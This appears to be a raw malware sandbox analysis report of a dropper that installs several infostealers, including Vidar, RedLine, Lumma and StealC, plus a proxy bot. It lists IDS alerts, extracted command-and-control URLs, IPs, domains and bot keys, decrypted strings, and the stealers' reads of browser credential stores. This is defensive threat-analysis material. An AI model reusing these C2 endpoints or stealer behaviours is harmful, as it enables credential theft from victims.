2024-09-18T14:30:11.217339+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49723	167.114.163.236	443	TCP
2024-09-18T14:30:11.544102+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49706	147.45.44.104	80	TCP
2024-09-18T14:30:11.984022+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49706	147.45.44.104	80	TCP
2024-09-18T14:31:23.957830+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49801	167.114.163.236	443	TCP

ETPRO MALWARE Observed DNS Query to Lumma Domain

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-18T14:30:56.375505+0200	2857974	1	Domain Observed Used for C2 Detected	192.168.2.7	52668	1.1.1.1	53	UDP
2024-09-18T14:31:09.363694+0200	2857974	1	Domain Observed Used for C2 Detected	192.168.2.7	59478	1.1.1.1	53	UDP
2024-09-18T14:31:44.561667+0200	2857974	1	Domain Observed Used for C2 Detected	192.168.2.7	57885	1.1.1.1	53	UDP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0000002B.00000002.2247859722.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199768374681", "https://t.me/edm0d"], "Botnet": "7c6457601c7a62cd71a28cded7d5f5be"}
Source: 00000010.00000002.1762946732.0000000003FA5000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: RedLine {"C2 url": "193.233.255.84:4284", "Bot Id": "LogsDiller Cloud (TG: @logsdillabot)", "Authorization Header": "3a050df92d0cf082b2cdaf87863616be"}
Source: 13.2.Mp4Oumo4WN7EZ3kT28qf8R4b.exe.237c000.1.raw.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["tryyudjasudqo.shop", "reggwardssdqw.shop", "keennylrwmqlw.shop", "licenseodqwmqn.shop", "sentistivowmi.shop", "tesecuuweqo.shop", "relaxatinownio.shop", "tendencctywop.shop", "eemmbryequo.shop"], "Build id": "a8kafm--@cloudcosmic"}
Source: 39.2.RegAsm.exe.400000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}

Multi AV Scanner detection for domain / URL

Source: innovaxingenieros.com	Virustotal: Detection: 5%	Perma Link
Source: 240902180529931.tyr.zont16.com	Virustotal: Detection: 13%	Perma Link
Source: gacan.zapto.org	Virustotal: Detection: 11%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\DSound High Level lib 9.18.45\DSound High Level lib 9.18.45.exe	Virustotal: Detection: 28%	Perma Link
Source: C:\ProgramData\FBKJDGCGDA.exe	ReversingLabs: Detection: 36%
Source: C:\ProgramData\FBKJDGCGDA.exe	Virustotal: Detection: 45%	Perma Link
Source: C:\ProgramData\IIDHJKFBGI.exe	ReversingLabs: Detection: 36%
Source: C:\ProgramData\IIDHJKFBGI.exe	Virustotal: Detection: 45%	Perma Link
Source: C:\ProgramData\ejitkpfdxvzt\orpqcnvisucm.exe	ReversingLabs: Detection: 21%
Source: C:\ProgramData\ejitkpfdxvzt\orpqcnvisucm.exe	Virustotal: Detection: 21%	Perma Link
Source: C:\Users\userAKFHCAKJDB.exe	ReversingLabs: Detection: 36%
Source: C:\Users\userAKFHCAKJDB.exe	Virustotal: Detection: 45%	Perma Link
Source: C:\Users\userKEHJKJDGCG.exe	ReversingLabs: Detection: 36%
Source: C:\Users\userKEHJKJDGCG.exe	Virustotal: Detection: 45%	Perma Link
Source: C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe	Virustotal: Detection: 28%	Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe	Virustotal: Detection: 22%			Perma Link
Source: file.exe	ReversingLabs: Detection: 21%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\userAKFHCAKJDB.exe	Joe Sandbox ML: detected
Source: C:\Users\userKEHJKJDGCG.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\IIDHJKFBGI.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\FBKJDGCGDA.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0000000D.00000002.1815283104.000000000237C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: tryyudjasudqo.shop
Source: 0000000D.00000002.1815283104.000000000237C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: eemmbryequo.shop
Source: 0000000D.00000002.1815283104.000000000237C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: reggwardssdqw.shop
Source: 0000000D.00000002.1815283104.000000000237C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: relaxatinownio.shop
Source: 0000000D.00000002.1815283104.000000000237C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: tesecuuweqo.shop
Source: 0000000D.00000002.1815283104.000000000237C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: tendencctywop.shop
Source: 0000000D.00000002.1815283104.000000000237C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: licenseodqwmqn.shop
Source: 0000000D.00000002.1815283104.000000000237C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: keennylrwmqlw.shop
Source: 0000000D.00000002.1815283104.000000000237C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: sentistivowmi.shop
Source: 0000000D.00000002.1815283104.000000000237C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 0000000D.00000002.1815283104.000000000237C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 0000000D.00000002.1815283104.000000000237C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 0000000D.00000002.1815283104.000000000237C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 0000000D.00000002.1815283104.000000000237C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 0000000D.00000002.1815283104.000000000237C000.00000004.00001000.00020000.00000000.sdmp	String decryptor: a8kafm--@cloudcosmic

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0051CFA0 CryptReleaseContext,	7_2_0051CFA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_00409BB0 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	39_2_00409BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_00418940 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	39_2_00418940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_0040C660 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	39_2_0040C660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_00407280 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	39_2_00407280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_00409B10 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	39_2_00409B10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A66C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	39_2_69A66C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69BBA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	39_2_69BBA9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69BE0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	39_2_69BE0180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69BB43B0 PK11_PubEncryptPKCS1,PR_SetError,	39_2_69BB43B0

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 00000014.00000002.2153566769.0000027C66D64000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: EZWvE2OrmenaDZlccT1Fi95O.exe PID: 1516, type: MEMORYSTR

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Unpacked PE file: 44.2.jekkyvideoeditor32.exe.400000.0.unpack

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Jekky Video Editor_is1

Source: unknown	HTTPS traffic detected: 173.231.16.77:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.166.143.50:443 -> 192.168.2.7:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 167.114.163.236:443 -> 192.168.2.7:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 167.114.163.236:443 -> 192.168.2.7:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.231.138.137:443 -> 192.168.2.7:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.3.46:443 -> 192.168.2.7:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.7:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 91.107.146.245:443 -> 192.168.2.7:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 167.114.163.236:443 -> 192.168.2.7:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 167.114.163.236:443 -> 192.168.2.7:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.7:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 91.107.146.245:443 -> 192.168.2.7:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.7:49855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 91.107.146.245:443 -> 192.168.2.7:49857 version: TLS 1.2

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: freebl3.pdb source: RegAsm.exe, 0000002B.00000002.2489734828.000000002280E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2756098066.0000027C7F0C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdb source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2103394472.0000027C64E2F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2756098066.0000027C7F0C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdb6 ByRef) source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2103394472.0000027C64E2F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdb source: Mp4Oumo4WN7EZ3kT28qf8R4b.exe, 0000000D.00000002.1815283104.00000000021EA000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.PDB source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.1878447557.000000E318713000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: PE.pdb source: file.exe, 00000005.00000002.1283677827.0000000003480000.00000004.08000000.00040000.00000000.sdmp, jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000002.1715713389.0000000003D3F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: Mp4Oumo4WN7EZ3kT28qf8R4b.exe, 0000000D.00000002.1815283104.00000000021EA000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\Microsoft.VisualBasic.pdbpdbsic.pdbtly source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2103394472.0000027C64E8D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\Microsoft.VisualBasic.pdb source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2103394472.0000027C64E8D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2103394472.0000027C64E2F000.00000004.00000020.00020000.00000000.sdmp, EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2103394472.0000027C64E8D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.VisualBasic.pdb source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2756098066.0000027C7F0C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.PDB` source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.1878447557.000000E318713000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\Microsoft.VisualBasic.pdbroviderN source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2103394472.0000027C64E8D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: freebl3.pdbp source: RegAsm.exe, 0000002B.00000002.2489734828.000000002280E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2103394472.0000027C64E2F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.PDB source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2103394472.0000027C64E8D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2103394472.0000027C64E8D000.00000004.00000020.00020000.00000000.sdmp, EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2756098066.0000027C7F0C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2756098066.0000027C7F0C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.pdbf3856 source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2756098066.0000027C7F0C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: EZWvE2OrmenaDZlccT1Fi95O.PDB source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.1878447557.000000E318713000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb+ source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2756098066.0000027C7F0C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2756098066.0000027C7F0C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\hSHxNXg.pdb source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000002.1799896121.0000000005680000.00000004.08000000.00040000.00000000.sdmp, jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000002.1715713389.0000000003D3F000.00000004.00000800.00020000.00000000.sdmp, jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000002.1715713389.0000000003BC1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.pdbcter source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2756098066.0000027C7F0C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: BotClient.pdb source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: pC:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.PDB source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.1878447557.000000E318713000.00000004.00000010.00020000.00000000.sdmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00540B17 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	7_2_00540B17
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Code function: 18_2_004062EB FindFirstFileW,FindClose,	18_2_004062EB
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Code function: 18_2_00406CB1 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	18_2_00406CB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_0040D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	39_2_0040D8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_0040F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	39_2_0040F4F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_0040BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	39_2_0040BCB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_004139B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	39_2_004139B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_0040E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	39_2_0040E270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	39_2_00401710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_004143F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	39_2_004143F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_0040DC50 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	39_2_0040DC50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_00414050 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	39_2_00414050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_0040EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	39_2_0040EB60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_004133C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,FindNextFileA,FindClose,	39_2_004133C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\

Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe

Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h

14_2_00F4DEC8

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2018581 - Severity 1 - ET MALWARE Single char EXE direct download likely trojan (multiple families) : 192.168.2.7:49705 -> 103.130.147.211:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49731 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.7:49731 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 46.8.231.109:80 -> 192.168.2.7:49731
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.7:49731 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 46.8.231.109:80 -> 192.168.2.7:49731
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.7:49731 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2055835 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (sentistivowmi .shop in TLS SNI) : 192.168.2.7:49742 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2055834 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sentistivowmi .shop) : 192.168.2.7:63813 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2043231 - Severity 1 - ET MALWARE Redline Stealer TCP CnC Activity : 192.168.2.7:49738 -> 193.233.255.84:4284
Source: Network traffic	Suricata IDS: 2046045 - Severity 1 - ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization) : 192.168.2.7:49738 -> 193.233.255.84:4284
Source: Network traffic	Suricata IDS: 2043234 - Severity 1 - ET MALWARE Redline Stealer TCP CnC - Id1Response : 193.233.255.84:4284 -> 192.168.2.7:49738
Source: Network traffic	Suricata IDS: 2046056 - Severity 1 - ET MALWARE Redline Stealer/MetaStealer Family Activity (Response) : 193.233.255.84:4284 -> 192.168.2.7:49738
Source: Network traffic	Suricata IDS: 2857974 - Severity 1 - ETPRO MALWARE Observed DNS Query to Lumma Domain : 192.168.2.7:52668 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2857974 - Severity 1 - ETPRO MALWARE Observed DNS Query to Lumma Domain : 192.168.2.7:59478 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49830 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49808 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49823 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49815 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49807 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49818 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49821 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49826 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49843 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49804 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49835 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49837 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.7:49838 -> 185.196.8.214:80
